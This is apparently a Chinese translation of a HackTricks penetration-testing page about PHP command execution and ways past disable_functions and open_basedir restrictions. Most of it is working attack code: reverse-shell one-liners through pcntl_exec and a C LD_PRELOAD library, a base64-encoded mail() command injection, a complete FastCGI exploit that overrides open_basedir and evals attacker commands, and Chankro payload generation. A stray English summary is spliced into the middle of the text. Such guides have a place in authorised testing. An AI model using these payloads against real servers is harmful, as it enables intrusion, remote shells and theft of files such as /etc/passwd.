PHP - Useful Functions & disable_functions/open_basedir bypass

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

PHP 命令 & 代码执行

PHP 命令执行

注意: 如果其中一些函数被禁用,p0wny-shell php webshell可以自动检查并绕过以下函数。

exec - 返回命令输出的最后一行

echo exec("uname  -a");

passthru - 将命令输出直接传递给浏览器

echo passthru("uname -a");

system - 将命令输出直接传递到浏览器并返回最后一行

echo system("uname -a");

shell_exec - 返回命令输出

echo shell_exec("uname -a");

``(反引号)- 与 shell_exec() 相同

echo `uname -a`

popen - 打开一个读取或写入管道到一个命令的进程

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - 类似于 popen(),但具有更高程度的控制

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - 执行一个程序(默认情况下,在现代和不太现代的PHP中,您需要加载pcntl.so模块才能使用此函数)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - 此函数用于发送邮件,但也可以被滥用以在$options参数中注入任意命令。这是因为php mail函数通常调用系统内的sendmail二进制文件,并允许您添加额外选项。但是,您将无法看到执行命令的输出,因此建议创建一个将输出写入文件的shell脚本,使用mail执行它,并打印输出:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - 此函数可用于动态加载 PHP 扩展。这个函数并不总是存在,因此在尝试利用它之前,应该检查它是否可用。阅读此页面以了解如何利用此函数

PHP 代码执行

除了 eval 外,还有其他执行 PHP 代码的方法:include/require 可用于以本地文件包含和远程文件包含漏洞的形式进行远程代码执行。

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Disabled functions 是可以在 PHP 的 .ini 文件中配置的设置,它将禁止使用指定的函数Open basedir 是指示 PHP 可以访问的文件夹的设置。 PHP 设置通常配置在路径 /etc/php7/conf.d 或类似位置。

这两个配置可以在 phpinfo() 的输出中看到:

open_basedir Bypass

open_basedir 将配置 PHP 可以访问的文件夹,您将无法在这些文件夹之外的任何地方写入/读取/执行任何文件,但您也无法列出其他目录。 但是,如果您以某种方式能够执行任意 PHP 代码,您可以尝试以下一小段代码来尝试绕过限制。

使用 glob:// 绕过列出目录

在这个第一个示例中,使用 glob:// 协议和一些路径绕过:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

注意1:在路径中,您还可以使用/e??/*来列出/etc/*和任何其他文件夹。 注意2:看起来代码的一部分是重复的,但这实际上是必要的! 注意3:此示例仅用于列出文件夹,而不是读取文件

完整的 open_basedir 绕过,滥用 FastCGI

如果您想了解更多关于 PHP-FPM 和 FastCGI的信息,可以阅读此页面的第一部分。 如果**php-fpm已配置,您可以滥用它来完全绕过open_basedir**:

请注意,您需要做的第一件事是找到php-fpm 的 unix 套接字所在的位置。它通常位于/var/run下,因此您可以使用上面的代码列出目录并找到它。 代码来自这里

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

这些脚本将与php-fpm的unix套接字通信(通常位于/var/run,如果使用fpm)。open_basedir设置将被发送的PHP_VALUE属性覆盖。 请注意eval如何用于执行您在cmd参数中发送的PHP代码。 还请注意注释的第324行,您可以取消注释它,有效负载将自动连接到给定的URL并执行其中包含的PHP代码。 只需访问http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');即可获取/etc/passwd文件的内容。

您可能会认为,就像我们覆盖了open_basedir配置一样,我们可以覆盖disable_functions。好吧,尝试一下,但不会起作用,显然**disable_functions只能在.ini php**配置文件中配置,您使用PHP_VALUE进行的更改对此特定设置不起作用。

disable_functions绕过

如果您设法在机器内部执行PHP代码,您可能希望进一步执行任意系统命令。在这种情况下,通常会发现大多数或所有允许执行系统命令的PHP函数已在disable_functions中禁用。 因此,让我们看看您如何绕过此限制(如果可以)

自动绕过发现

您可以使用工具https://github.com/teambi0s/dfunc-bypasser,它将指示您可以使用哪个函数(如果有)来绕过disable_functions

使用其他系统函数绕过

只需返回本页开头,检查是否有任何未被禁用且在环境中可用的命令执行函数。如果找到其中之一,您将能够使用它来执行任意系统命令。

LD_PRELOAD绕过

众所周知,PHP中的一些函数,如mail(),将在系统内部执行二进制文件。因此,您可以滥用它们使用环境变量LD_PRELOAD来使它们加载一个可以执行任意操作的任意库。

可用于使用LD_PRELOAD绕过disable_functions的函数

  • mail

  • mb_send_mail:在安装了php-mbstring模块时有效。

  • imap_mail:如果存在php-imap模块,则有效。

  • libvirt_connect:需要php-libvirt-php模块。

  • gnupg_init:在安装了php-gnupg模块时可用。

  • new imagick():此类可被滥用以绕过限制。详细的利用技术可以在综合的这里的写作中找到

您可以在这里找到用于查找这些函数的模糊测试脚本。

这是一个您可以编译以滥用LD_PRELOAD环境变量的库:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

使用Chankro绕过

为了利用这个配置错误,您可以使用Chankro。这是一个工具,将生成一个您需要上传到易受攻击服务器并执行的PHP利用(通过Web访问)。 Chankro将在受害者磁盘中写入您想要执行的库和反向shell,并使用**LD_PRELOAD技巧 + PHP mail()**函数来执行反向shell。

请注意,为了使用Chankromailputenv不能出现在disable_functions列表中。 在以下示例中,您可以看到如何为arch 64创建一个Chankro利用,它将执行whoami并将输出保存在_tmp/chankro_shell.out_中,Chankro将在_tmp中写入库和有效载荷,最终的利用将被命名为bicho.php(这是您需要上传到受害者服务器的文件):

#!/bin/sh
whoami > /tmp/chankro_shell.out

PHP Useful Functions - disable_functions & open_basedir Bypass

disable_functions Bypass

When the disable_functions directive is set in PHP configuration to restrict certain functions, you can bypass this restriction using various techniques. One common method is to use the pcntl_exec function, which allows executing other programs on the server. Another approach is to leverage the dl function to dynamically load a PHP extension that includes the disabled functions.

open_basedir Bypass

The open_basedir directive restricts the files that PHP can access based on the specified directory path. To bypass this restriction, you can use techniques like exploiting symbolic links (symlinks) to access files outside the restricted directory or utilizing functions that can read files without being restricted by open_basedir.

Remember to always use these techniques responsibly and only in authorized penetration testing scenarios.

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

如果发现mail函数被禁用,您仍然可以使用mb_send_mail函数。 有关此技术和Chankro的更多信息,请访问:https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

使用PHP功能进行“绕过”

请注意,使用PHP您可以读取和写入文件,创建目录并更改权限。 甚至可以转储数据库。 也许使用PHP枚举主机,您可以找到升级权限/执行命令的方法(例如读取某些私有ssh密钥)。

我创建了一个Webshell,可以非常轻松地执行这些操作(请注意,大多数Webshell也会为您提供这些选项):https://github.com/carlospolop/phpwebshelllimited

模块/版本相关的绕过方式

如果正在使用某个特定模块或利用某个特定的PHP版本,有几种绕过disable_functions的方法:

自动化工具

以下脚本尝试了这里评论的一些方法: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

其他有趣的PHP函数

接受回调的函数列表

这些函数接受一个字符串参数,该参数可用于调用攻击者选择的函数。根据函数,攻击者可能有或没有传递参数的能力。在这种情况下,可以使用信息泄露函数如phpinfo()。

回调/可调用函数

以下列表来自这里

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

信息泄露

大多数这些函数调用不是漏洞点。但如果返回的任何数据对攻击者可见,这可能是一个漏洞。如果攻击者可以查看 phpinfo(),那肯定是一个漏洞。

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

其他

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

文件系统函数

根据 RATS,php 中的所有文件系统函数都很糟糕。其中一些对攻击者似乎并不是很有用。而另一些比你想象的更有用。例如,如果 allow_url_fopen=On,那么可以将 url 用作文件路径,因此调用 copy($_GET['s'], $_GET['d']); 可以用于在系统的任何位置上传 PHP 脚本。此外,如果网站容易受到通过 GET 发送的请求的影响,那么这些文件系统函数中的每一个都可以被滥用,通过您的服务器将攻击通道到另一个主机。

打开文件系统处理程序

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

写入文件系统(部分结合读取)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

从文件系统读取

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

其他支持HackTricks的方式:

最后更新于